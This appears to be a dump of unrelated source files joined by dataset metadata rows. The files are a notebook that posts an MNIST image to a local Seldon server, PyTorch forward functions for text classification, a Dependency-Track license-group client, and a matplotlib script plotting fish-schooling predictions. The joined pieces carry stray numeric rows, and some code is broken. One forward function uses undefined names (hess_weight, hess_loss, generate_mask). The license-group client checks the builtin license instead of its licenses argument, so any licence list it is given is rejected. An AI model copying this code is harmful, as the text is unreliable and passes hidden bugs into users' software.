get_ipython().system('curl http://0.0.0.0:8003/seldon/default/mnist/v2/models/mnist')
# Test prediction on random digit.
# In[9]:
x,y = next(npX)
X = 255 - x
X = (X.reshape(784) - MEANS)
gen_image(x)
values = np.expand_dims(X, axis=0).reshape((1,1,28,28)).flatten().tolist()
cmd = '{"inputs":[{"name":"data","data":'+str(values)+',"datatype":"FP32","shape":[1,1,28,28]}]}'
with open("input.json","w") as f:
f.write(cmd)
res = get_ipython().getoutput('curl -s -d @./input.json -X POST http://0.0.0.0:8003/seldon/default/mnist/v2/models/mnist/infer -H "Content-Type: application/json"')
d=json.loads(res[0])
print(d)
predicted = np.array(d["outputs"][0]["data"]).argmax()
print("Truth",y,"predicted",predicted)
# In[ ]:
| 15.047305 | 554 | 0.346396 | 1,299 | 13,678 | 3.619707 | 0.296382 | 0.285836 | 0.377074 | 0.433858 | 0.253722 | 0.253722 | 0.249894 | 0.225649 | 0.16376 | 0.158018 | 0 | 0.402111 | 0.556733 | 13,678 | 908 | 555 | 15.063877 | 0.373413 | 0.085758 | 0 | 0.915254 | 0 | 0.004843 | 0.081608 | 0.01982 | 0 | 0 | 0 | 0 | 0 | 1 | 0.002421 | false | 0 | 0.006053 | 0 | 0.010896 | 0.002421 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e13308c596ba433e94677736d5f2872568d3ade4 | 15,154 | py | Python | utils/forward_fn.py | yjbang/math6380 | 045bf9dd877b4b387580459fd747a4e428cbe8ff | [
"MIT"
] | 1 | 2021-09-09T14:28:01.000Z | 2021-09-09T14:28:01.000Z | utils/forward_fn.py | yjbang/Model-Generalization-for-Fact-Checking | 045bf9dd877b4b387580459fd747a4e428cbe8ff | [
"MIT"
] | null | null | null | utils/forward_fn.py | yjbang/Model-Generalization-for-Fact-Checking | 045bf9dd877b4b387580459fd747a4e428cbe8ff | [
"MIT"
] | null | null | null | import torch
import torch.nn.functional as F
from transformers import BertForSequenceClassification, RobertaForSequenceClassification
from .utils import generate_random_mask
from .hessian_penalty import hessian_penalty
from torch.nn import CrossEntropyLoss
###
# Forward Function
###
# Forward function for sequence classification with hessian loss
def forward_hessian_mask_sequence_classification(model, batch_data, i2w, dim_idx=0, device='cpu', **kwargs):
# Unpack batch data
if len(batch_data) == 4:
(ids, subword_batch, mask_batch, label_batch) = batch_data
token_type_batch = None
elif len(batch_data) == 5:
(ids, subword_batch, mask_batch, token_type_batch, label_batch) = batch_data
# Prepare input & label
subword_batch = torch.LongTensor(subword_batch)
mask_batch = torch.FloatTensor(mask_batch)
token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None
label_batch = torch.LongTensor(label_batch)
if device == "cuda":
subword_batch = subword_batch.cuda()
mask_batch = mask_batch.cuda()
token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None
label_batch = label_batch.cuda()
# Forward model
if isinstance(model, BertForSequenceClassification):
raise NotImplementedError
elif isinstance(model, RobertaForSequenceClassification):
# Apply mask
weight, bias = model.classifier.dense.weight, model.classifier.dense.bias
dropout_mask_batch = generate_mask(dim_idx, weight.shape[0], weight.shape[1], device=device)
masked_weight = weight.expand_as(dropout_mask_batch) * dropout_mask_batch
# Calculate hessian loss
latents = model.roberta(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch)[0][:,0,:]
latents = model.classifier.dense(latents)
latents[:,dim_idx] = 0
latents = torch.tanh(latents)
# Calculate logits
latents = model.classifier.dropout(latents)
logits = model.classifier.out_proj(latents)
# Calculate discriminator loss
disc_loss = CrossEntropyLoss()(logits.view(-1, model.num_labels), label_batch.view(-1))
# Calculate total loss
loss = disc_loss + (hess_weight * hess_loss)
# print('disc, hess, tot', disc_loss.item(), hess_loss.item(), loss.item())
else:
raise NotImplementedError(f'Model class `{type(model)}` is not implemented yet')
# generate prediction & label list
list_hyp = []
list_label = []
hyp = torch.topk(logits, 1)[1]
for j in range(len(hyp)):
list_hyp.append(i2w[hyp[j].item()])
list_label.append(i2w[label_batch[j][0].item()])
return loss, list_hyp, list_label, logits, label_batch
# Forward function for sequence classification with hessian loss
def forward_hessian_sequence_classification(model, batch_data, i2w, hess_weight=0.025, device='cpu', **kwargs):
# Unpack batch data
if len(batch_data) == 4:
(ids, subword_batch, mask_batch, label_batch) = batch_data
token_type_batch = None
elif len(batch_data) == 5:
(ids, subword_batch, mask_batch, token_type_batch, label_batch) = batch_data
# Prepare input & label
subword_batch = torch.LongTensor(subword_batch)
mask_batch = torch.FloatTensor(mask_batch)
token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None
label_batch = torch.LongTensor(label_batch)
if device == "cuda":
subword_batch = subword_batch.cuda()
mask_batch = mask_batch.cuda()
token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None
label_batch = label_batch.cuda()
# Forward model
if isinstance(model, BertForSequenceClassification):
raise NotImplementedError
elif isinstance(model, RobertaForSequenceClassification):
# Apply mask
weight, bias = model.classifier.dense.weight, model.classifier.dense.bias
dropout_mask_batch = generate_random_mask(ids, weight.shape[0], weight.shape[1], device=device)
masked_weight = weight.expand_as(dropout_mask_batch) * dropout_mask_batch
# Calculate hessian loss
latents = model.roberta(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch)[0][:,0,:]
latents, hess_loss = hessian_penalty(model.classifier.dense, latents)
latents = torch.tanh(latents)
# Calculate logits
latents = model.classifier.dropout(latents)
logits = model.classifier.out_proj(latents)
# Calculate discriminator loss
disc_loss = CrossEntropyLoss()(logits.view(-1, model.num_labels), label_batch.view(-1))
# Calculate total loss
loss = disc_loss + (hess_weight * hess_loss)
# print('disc, hess, tot', disc_loss.item(), hess_loss.item(), loss.item())
else:
raise NotImplementedError(f'Model class `{type(model)}` is not implemented yet')
# generate prediction & label list
list_hyp = []
list_label = []
hyp = torch.topk(logits, 1)[1]
for j in range(len(hyp)):
list_hyp.append(i2w[hyp[j].item()])
list_label.append(i2w[label_batch[j][0].item()])
return loss, list_hyp, list_label, logits, label_batch
# Forward function for sequence classification with mask
def forward_mask_sequence_classification(model, batch_data, i2w, apply_mask=False, device='cpu', **kwargs):
# Unpack batch data
if len(batch_data) == 4:
(ids, subword_batch, mask_batch, label_batch) = batch_data
token_type_batch = None
elif len(batch_data) == 5:
(ids, subword_batch, mask_batch, token_type_batch, label_batch) = batch_data
# Prepare input & label
subword_batch = torch.LongTensor(subword_batch)
mask_batch = torch.FloatTensor(mask_batch)
token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None
label_batch = torch.LongTensor(label_batch)
if device == "cuda":
subword_batch = subword_batch.cuda()
mask_batch = mask_batch.cuda()
token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None
label_batch = label_batch.cuda()
# Forward model
if apply_mask:
if isinstance(model, BertForSequenceClassification):
# Apply mask
weight, bias = model.classifier.weight, model.classifier.bias
dropout_mask_batch = generate_random_mask(ids, weight.shape[0], weight.shape[1], device=device)
masked_weight = weight.expand_as(dropout_mask_batch) * dropout_mask_batch
# Calculate latents
latents = model.bert(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch)[1]
latents = model.dropout(latents)
# Compute result
logits = torch.einsum('bd,bcd->bc', latents, masked_weight) + bias
loss = CrossEntropyLoss()(logits.view(-1, model.num_labels), label_batch.view(-1))
elif isinstance(model, RobertaForSequenceClassification):
# Apply mask
weight, bias = model.classifier.out_proj.weight, model.classifier.out_proj.bias
dropout_mask_batch = generate_random_mask(ids, weight.shape[0], weight.shape[1], device=device)
masked_weight = weight.expand_as(dropout_mask_batch) * dropout_mask_batch
# Calculate latents
latents = model.roberta(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch)[0][:,0,:]
latents = model.classifier.dense(latents)
latents = model.classifier.dropout(latents)
# Compute result
logits = torch.einsum('bd,bcd->bc', latents, masked_weight) + bias
loss = CrossEntropyLoss()(logits.view(-1, model.num_labels), label_batch.view(-1))
else:
raise ValueError(f'Model class `{type(model)}` is not implemented yet')
else:
outputs = model(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch, labels=label_batch)
loss, logits = outputs[:2]
# generate prediction & label list
list_hyp = []
list_label = []
hyp = torch.topk(logits, 1)[1]
for j in range(len(hyp)):
list_hyp.append(i2w[hyp[j].item()])
list_label.append(i2w[label_batch[j][0].item()])
return loss, list_hyp, list_label, logits, label_batch
# Forward function for sequence classification
def forward_sequence_classification(model, batch_data, i2w, is_test=False, device='cpu', **kwargs):
if is_test:
# Unpack batch data
if len(batch_data) == 3:
(ids, subword_batch, mask_batch) = batch_data
token_type_batch = None
elif len(batch_data) == 4:
(ids, subword_batch, mask_batch, token_type_batch) = batch_data
# Prepare input & label
subword_batch = torch.LongTensor(subword_batch)
mask_batch = torch.FloatTensor(mask_batch)
token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None
if device == "cuda":
subword_batch = subword_batch.cuda()
mask_batch = mask_batch.cuda()
token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None
# Forward model
outputs = model(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch)
logits = outputs[0]
# generate prediction & label list
list_hyp = []
hyp = torch.topk(logits, 1)[1]
for j in range(len(hyp)):
list_hyp.append(i2w[hyp[j].item()])
return list_hyp, logits
else:
# Unpack batch data
if len(batch_data) == 4:
(ids, subword_batch, mask_batch, label_batch) = batch_data
token_type_batch = None
elif len(batch_data) == 5:
(ids, subword_batch, mask_batch, token_type_batch, label_batch) = batch_data
# Prepare input & label
subword_batch = torch.LongTensor(subword_batch)
mask_batch = torch.FloatTensor(mask_batch)
token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None
label_batch = torch.LongTensor(label_batch)
if device == "cuda":
subword_batch = subword_batch.cuda()
mask_batch = mask_batch.cuda()
token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None
label_batch = label_batch.cuda()
# Forward model
outputs = model(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch, labels=label_batch)
loss, logits = outputs[:2]
# generate prediction & label list
list_hyp = []
list_label = []
hyp = torch.topk(logits, 1)[1]
for j in range(len(hyp)):
list_hyp.append(i2w[hyp[j].item()])
list_label.append(i2w[label_batch[j][0].item()])
return loss, list_hyp, list_label, logits, label_batch
# Forward function for word classification
def forward_word_classification(model, batch_data, i2w, is_test=False, device='cpu', **kwargs):
# Unpack batch data
if len(batch_data) == 4:
(subword_batch, mask_batch, subword_to_word_indices_batch, label_batch) = batch_data
token_type_batch = None
elif len(batch_data) == 5:
(subword_batch, mask_batch, token_type_batch, subword_to_word_indices_batch, label_batch) = batch_data
# Prepare input & label
subword_batch = torch.LongTensor(subword_batch)
mask_batch = torch.FloatTensor(mask_batch)
token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None
subword_to_word_indices_batch = torch.LongTensor(subword_to_word_indices_batch)
label_batch = torch.LongTensor(label_batch)
if device == "cuda":
subword_batch = subword_batch.cuda()
mask_batch = mask_batch.cuda()
token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None
subword_to_word_indices_batch = subword_to_word_indices_batch.cuda()
label_batch = label_batch.cuda()
# Forward model
outputs = model(subword_batch, subword_to_word_indices_batch, attention_mask=mask_batch, token_type_ids=token_type_batch, labels=label_batch)
loss, logits = outputs[:2]
# generate prediction & label list
list_hyps = []
list_labels = []
hyps_list = torch.topk(logits, k=1, dim=-1)[1].squeeze(dim=-1)
for i in range(len(hyps_list)):
hyps, labels = hyps_list[i].tolist(), label_batch[i].tolist()
list_hyp, list_label = [], []
for j in range(len(hyps)):
if labels[j] == -100:
break
else:
list_hyp.append(i2w[hyps[j]])
list_label.append(i2w[labels[j]])
list_hyps.append(list_hyp)
list_labels.append(list_label)
return loss, list_hyps, list_labels
# Forward function for sequence multilabel classification
def forward_sequence_multi_classification(model, batch_data, i2w, is_test=False, device='cpu', **kwargs):
# Unpack batch data
if len(batch_data) == 3:
(subword_batch, mask_batch, label_batch) = batch_data
token_type_batch = None
elif len(batch_data) == 4:
(subword_batch, mask_batch, token_type_batch, label_batch) = batch_data
# Prepare input & label
subword_batch = torch.LongTensor(subword_batch)
mask_batch = torch.FloatTensor(mask_batch)
token_type_batch = torch.LongTensor(token_type_batch) if token_type_batch is not None else None
label_batch = torch.LongTensor(label_batch)
if device == "cuda":
subword_batch = subword_batch.cuda()
mask_batch = mask_batch.cuda()
token_type_batch = token_type_batch.cuda() if token_type_batch is not None else None
label_batch = label_batch.cuda()
# Forward model
outputs = model(subword_batch, attention_mask=mask_batch, token_type_ids=token_type_batch, labels=label_batch)
loss, logits = outputs[:2] # logits list<tensor(bs, num_label)> ~ list of batch prediction per class
# generate prediction & label list
list_hyp = []
list_label = []
hyp = [torch.topk(logit, 1)[1] for logit in logits] # list<tensor(bs)>
batch_size = label_batch.shape[0]
num_label = len(hyp)
for i in range(batch_size):
hyps = []
labels = label_batch[i,:].cpu().numpy().tolist()
for j in range(num_label):
hyps.append(hyp[j][i].item())
list_hyp.append([i2w[hyp] for hyp in hyps])
list_label.append([i2w[label] for label in labels])
return loss, list_hyp, list_label
| 43.297143 | 145 | 0.66913 | 1,940 | 15,154 | 4.957216 | 0.067526 | 0.069252 | 0.094624 | 0.043049 | 0.877093 | 0.864927 | 0.845586 | 0.830924 | 0.825101 | 0.81855 | 0 | 0.00786 | 0.235977 | 15,154 | 349 | 146 | 43.421203 | 0.822767 | 0.0974 | 0 | 0.748936 | 1 | 0 | 0.015864 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.025532 | false | 0 | 0.025532 | 0 | 0.080851 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
e161129334afc08df28c8dd03c0091287b99151d | 140 | py | Python | modelscript/scripts/tasks/all.py | ScribesZone/ModelScribes | a36be1047283f2e470dc2dd4353f2a714377bb7d | [
"MIT"
] | 1 | 2019-02-22T14:27:06.000Z | 2019-02-22T14:27:06.000Z | modelscript/scripts/tasks/all.py | ScribesZone/ModelScribes | a36be1047283f2e470dc2dd4353f2a714377bb7d | [
"MIT"
] | 4 | 2015-12-18T10:30:02.000Z | 2015-12-18T10:36:28.000Z | modelscript/scripts/tasks/all.py | ScribesZone/ModelScribes | a36be1047283f2e470dc2dd4353f2a714377bb7d | [
"MIT"
] | null | null | null | # coding=utf-8
import modelscript.scripts.tasks.parser
import modelscript.scripts.tasks.printer
import modelscript.scripts.tasks.graphviz
| 20 | 41 | 0.842857 | 18 | 140 | 6.555556 | 0.555556 | 0.432203 | 0.610169 | 0.737288 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007692 | 0.071429 | 140 | 6 | 42 | 23.333333 | 0.9 | 0.085714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0.333333 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
e18c3a6af285a549501c4ebe4fd5fa36f130454c | 4,686 | py | Python | apicomponents/licensegroup.py | tonnyhideyori/dependencytrack-pywrap | 58d4a8ac8862bbdb7007ab483f38f5871ab55c48 | [
"MIT"
] | null | null | null | apicomponents/licensegroup.py | tonnyhideyori/dependencytrack-pywrap | 58d4a8ac8862bbdb7007ab483f38f5871ab55c48 | [
"MIT"
] | 5 | 2021-11-18T20:35:12.000Z | 2021-11-25T19:03:16.000Z | apicomponents/licensegroup.py | tonnyhideyori/dependencytrack-pywrap | 58d4a8ac8862bbdb7007ab483f38f5871ab55c48 | [
"MIT"
] | 2 | 2021-11-15T19:58:15.000Z | 2021-11-23T12:55:04.000Z | import json
class DependencyTrackLicenseGroup(object):
def list_licensegroups(self, pageSize=100):
grouplist = list()
pageNumber = 1
response = self.session.get(
self.apicall + "/v1/licenseGroup", params={'pageSize': pageSize, 'pageNumber': pageNumber})
for group in range(0, len(response.json())):
grouplist.append(response.json()[group-1])
while len(response.json()) == pageSize:
pageNumber += 1
response = self.session.get(
self.apicall + "/v1/licenseGroup", params={'pageSize': pageSize, 'pageNumber': pageNumber})
for group in range(0, len(response.json())):
grouplist.append(response.json()[group-1])
if response.status_code == 200:
return grouplist
elif response.status_code == 401:
return (f"Unauthorized, {response.status_code}")
else:
return (f"{(response.content).decode('utf-8')}, {response.status_code}")
def get_licensegroup(self, uuid):
response = self.session.get(self.apicall + f"/v1/licenseGroup/{uuid}")
if response.status_code == 200:
return response.json()
elif response.status_code == 401:
return (f"Unauthorized, {response.status_code}")
else:
return (f"{(response.content).decode('utf-8')}, {response.status_code}")
def delete_licensegroup(self, uuid):
"""Delete a license group
Args:
uuid ([type]): The UUID of the license group to delete
"""
response = self.session.delete(self.apicall + f"/v1/licenseGroup/{uuid}")
if response.status_code == 200:
return "Successful operation"
elif response.status_code == 401:
return (f"Unauthorized, {response.status_code}")
else:
return (f"{(response.content).decode('utf-8')}, {response.status_code}")
def remove_license_from_licensegroup(self, licensegroup,license):
response = self.session.delete(self.apicall + f"/v1/licenseGroup/{licensegroup}/license/{license}")
if response.status_code == 200:
return "Successful operation"
elif response.status_code == 401:
return (f"Unauthorized, {response.status_code}")
else:
return (f"{(response.content).decode('utf-8')}, {response.status_code}")
def add_license_to_group(self, licensegroup, license):
response = self.session.post(
self.apicall + f"/v1/licenseGroup/{licensegroup}/license/{license}")
if response.status_code == 200:
return "Successful operation"
elif response.status_code == 401:
return (f"Unauthorized, {response.status_code}")
elif response.status_code == 304:
return (f"The license group already has the specified license assigned, {response.status_code}")
else:
return (f"{(response.content).decode('utf-8')}, {response.status_code}")
def create_licensegroup(self, name,licenses=None,riskWeight=0):
data={'name':name,
"riskWeight": riskWeight
}
if licenses :
if isinstance(license,list):
data['licenses']= licenses
else:
return "Error! Licenses should be a list"
response = self.session.put(self.apicall + "/v1/licenseGroup",data=json.dumps(data))
if response.status_code == 201:
return response.json()
elif response.status_code == 401:
return (f"Unauthorized, {response.status_code}")
else:
return (f"{(response.content).decode('utf-8')}, {response.status_code}")
def update_licensegroup(self,uuid, name=None,licenses=None,riskWeight=None):
data={"uuid": uuid}
if name:
data["name"]=name
if licenses:
if isinstance(license, list):
data['licenses'] = licenses
else:
return "Error! Licenses should be a list"
if riskWeight:
data['risk_weight'] = riskWeight
response = self.session.post(self.apicall +"/v1/licenseGroup", data=json.dumps(data))
if response.status_code == 200:
return response.json()
elif response.status_code == 401:
return (f"Unauthorized, {response.status_code}")
elif response.status_code == 304:
return (f"The license group already has the specified license assigned, {response.status_code}")
else:
return (f"{(response.content).decode('utf-8')}, {response.status_code}")
| 43.794393 | 108 | 0.600085 | 505 | 4,686 | 5.481188 | 0.156436 | 0.16185 | 0.208092 | 0.071532 | 0.811055 | 0.811055 | 0.759393 | 0.759393 | 0.759393 | 0.741329 | 0 | 0.021439 | 0.273367 | 4,686 | 106 | 109 | 44.207547 | 0.791483 | 0.018566 | 0 | 0.673913 | 0 | 0 | 0.275175 | 0.16528 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076087 | false | 0 | 0.01087 | 0 | 0.369565 | 0 | 0 | 0 | 0 | null | 0 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e1a5ba84dbe4930b3d6425b9dab4171e5fc35e6e | 93,228 | py | Python | predictions_figures_argparse.py | maria-kuruvilla/temp_collective_new | c45b72cee7c17072507eb67790d1699f5684098a | [
"MIT"
] | null | null | null | predictions_figures_argparse.py | maria-kuruvilla/temp_collective_new | c45b72cee7c17072507eb67790d1699f5684098a | [
"MIT"
] | null | null | null | predictions_figures_argparse.py | maria-kuruvilla/temp_collective_new | c45b72cee7c17072507eb67790d1699f5684098a | [
"MIT"
] | null | null | null | """
Goal - pass argument to make figure with and without data
Date - Mar 15 2021
"""
import pandas as pd
import matplotlib.pyplot as plt
import numpy as np
import pickle
from matplotlib import cm
import argparse
import seaborn as sns
#argparse
def boolean_string(s):
# this function helps with getting Boolean input
if s not in ['False', 'True']:
raise ValueError('Not a valid boolean string')
return s == 'True' # note use of ==
# create the parser object
parser = argparse.ArgumentParser()
# NOTE: argparse will throw an error if:
# - a flag is given with no value
# - the value does not match the type
# and if a flag is not given it will be filled with the default.
parser.add_argument('-a', '--a_string', default='annd_after_loom_predictions.csv', type=str)
#parser.add_argument('-s', '--a_string', default='annd_std', type=str)
parser.add_argument('-b', '--integer_b', default=3, type=int)
parser.add_argument('-c', '--float_c', default=1.5, type=float)
parser.add_argument('-v', '--verbose', default=True, type=boolean_string)
# Note that you assign a short name and a long name to each argument.
# You can use either when you call the program, but you have to use the
# long name when getting the values back from "args".
# get the arguments
args = parser.parse_args()
#################################################################################
data1 = pd.read_csv('../../data/temp_collective/roi/'+args.a_string)
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv')
gs = [1,2,4,8,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
#Plotting
lw=2
fs=30
fig = plt.figure(figsize=(16,10))
ax = fig.add_subplot(111)
count = 2
dpi = 100
text = '_low_res'
if args.a_string=='annd_after_loom_predictions.csv':
data1 = pd.read_csv('../../data/temp_collective/roi/annd_after_loom_predictions.csv')
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv')
y_label = 'ANND (Body Length)'
gs = [2,4,8,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
#Plotting
if args.verbose==True:
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i],
data2["annd"][data2.Groupsize == i], alpha = 0.5, color = colors[count], s =10)
ax.plot(
data1.temp[data1.gs == i][data1.date == 18106][data1.trial == 10],
np.exp(data1.annd[data1.gs==i][data1.date == 18106][data1.trial == 10]), color = colors[count],
lw = lw)
ax.fill_between(
data1.temp[data1.gs == i][data1.date == 18106][data1.trial == 10],
np.exp(data1.annd025[data1.gs==i][data1.date == 18106][data1.trial == 10]),
np.exp(data1.annd975[data1.gs==i][data1.date == 18106][data1.trial == 10]), alpha = 0.3, color = colors[count], label = str(i),lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('ANND (BL)', size = fs)
#ax.set_title('Groupsize = 16', fontsize = fs)
legend = plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
plt.setp(legend.get_title(),fontsize='xx-large')
ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/annd_after_loom_predictions_w_data_all_low_res.png'
fig.savefig(out_dir, dpi = 100)
plt.show()
else:
gs = [2,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
for i in gs:
ax.plot(
data1.temp[data1.gs == i][data1.date == 18106][data1.trial == 10],
np.exp(data1.annd[data1.gs==i][data1.date == 18106][data1.trial == 10]), color = colors[count],
lw = lw)
ax.fill_between(
data1.temp[data1.gs == i][data1.date == 18106][data1.trial == 10],
np.exp(data1.annd025[data1.gs==i][data1.date == 18106][data1.trial == 10]),
np.exp(data1.annd975[data1.gs==i][data1.date == 18106][data1.trial == 10]), alpha = 0.3, color = colors[count],label = str(i), lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('ANND (BL)', size = fs)
legend = plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
plt.setp(legend.get_title(),fontsize='xx-large')
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
plt.yticks(fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/annd_after_loom_predictions_wo_data_all_low_res.png'
fig.savefig(out_dir, dpi = 100)
plt.show()
#model_glm_7 <- glm(startles_during_loom ~ I(Temperature^2) + Temperature + Groupsize + I(Groupsize^2) + Loom, family = poisson, data1)
if args.a_string=='number_startles_predictions.csv':
data1 = pd.read_csv('../../data/temp_collective/roi/number_startles_predictions.csv')
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv')
gs = [1,2,4,8,16]
loom = [1,5]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
#Plotting
if args.verbose==True:
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1],
data2["number_startles"][data2.Groupsize == i][data2.Loom == 1], alpha = 0.5, color = colors[count], s =10)
ax.plot(
data1.Temperature[data1.Groupsize == i][data1.Loom == 1],
(data1.startles[data1.Groupsize ==i][data1.Loom == 1]), color = colors[count],
label = str(i), lw = lw)
ax.fill_between(
data1.Temperature[data1.Groupsize == i][data1.Loom == 1],
(data1.startles025[data1.Groupsize==i][data1.Loom == 1]),
(data1.startles975[data1.Groupsize==i][data1.Loom == 1]), alpha = 0.3, color = colors[count])
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('Number of startles', size = fs)
ax.set_title('Loom = 1', fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29])
out_dir = '../../output/temp_collective/roi_figures/predictions/startles_w_data_all.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
else:
gs = [16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
for i in gs:
ax.plot(
data1.Temperature[data1.Groupsize == i][data1.Loom == 1],
(data1.startles[data1.Groupsize ==i][data1.Loom == 1]), color = colors[count],
label = str(i), lw = lw)
ax.fill_between(
data1.Temperature[data1.Groupsize == i][data1.Loom == 1],
(data1.startles025[data1.Groupsize ==i][data1.Loom == 1]),
(data1.startles975[data1.Groupsize ==i][data1.Loom == 1]), alpha = 0.3, color = colors[count])
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('Number of startles', size = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
ax.set_title('Loom = 1', fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29])
out_dir = '../../output/temp_collective/roi_figures/predictions/startles_predictions_wo_data.png'
fig.savefig(out_dir, dpi = dpi)
plt.show()
#model_pois6 <- glm(latency ~ temp*gs + I(temp^2) + loom, family = quasipoisson, my_new_data2)
if args.a_string=='latency_predictions.csv':
data1 = pd.read_csv('../../data/temp_collective/roi/'+args.a_string)
data2 = pd.read_csv('../../data/temp_collective/roi/all_params_w_loom.csv')
gs = [1,2,4,8,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
#Plotting
if args.verbose==True:
for i in gs:
ax.scatter(data2.Temperature[data2.Groupsize == i][data2.Loom == 1],
data2.latency[data2.Groupsize == i][data2.Loom == 1], s = 10, alpha = 0.5, color = colors[count])
ax.plot(
data1.temp[data1.gs== i][data1.loom == 1],
(data1.pred[data1.gs==i][data1.loom == 1]), color = colors[count],
lw = lw)
ax.fill_between(
data1.temp[data1.gs== i][data1.loom == 1],
(data1.lcb[data1.gs==i][data1.loom == 1]),
(data1.ucb[data1.gs==i][data1.loom == 1]), alpha = 0.3, color = colors[count], label = str(i),lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('Latency', size = fs)
#ax.set_title('Loom = 1', fontsize = fs)
plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
#ax.set_title('Interaction of temperature and groupsize', fontsize = fs)
plt.yticks(ticks = [580,585,590,595], labels = [580,585,590,595],fontsize = fs)
plt.xticks(ticks = [9,13,17,21,25,29], labels = [9,13,17,21,25,29], fontsize = fs)
out_dir = '../../output/temp_collective/roi_figures/predictions/latency_w_data.png'
fig.savefig(out_dir, dpi = 100)
plt.show()
else:
gs = [1,16]
colors = plt.cm.bone_r(np.linspace(0,1,len(gs)+2))
for i in gs:
ax.plot(
data1.temp[data1.gs== i][data1.loom == 1],
(data1.pred[data1.gs==i][data1.loom == 1]), color = colors[count],
lw = lw)
ax.fill_between(
data1.temp[data1.gs== i][data1.loom == 1],
(data1.lcb[data1.gs==i][data1.loom == 1]),
(data1.ucb[data1.gs==i][data1.loom == 1]), alpha = 0.3, color = colors[count], label = str(i),lw = 0)
count += 1
plt.xlabel('Temperature '+r'($^{\circ}$C)', size = fs)
plt.ylabel('Latency', size = fs)
#ax.set_title('Loom = 1', fontsize = fs)
legend = plt.legend(fontsize=fs, loc='upper right', title = 'Groupsize', framealpha = 0.5)
plt.setp(legend.get_title(),fontsize='xx-large')
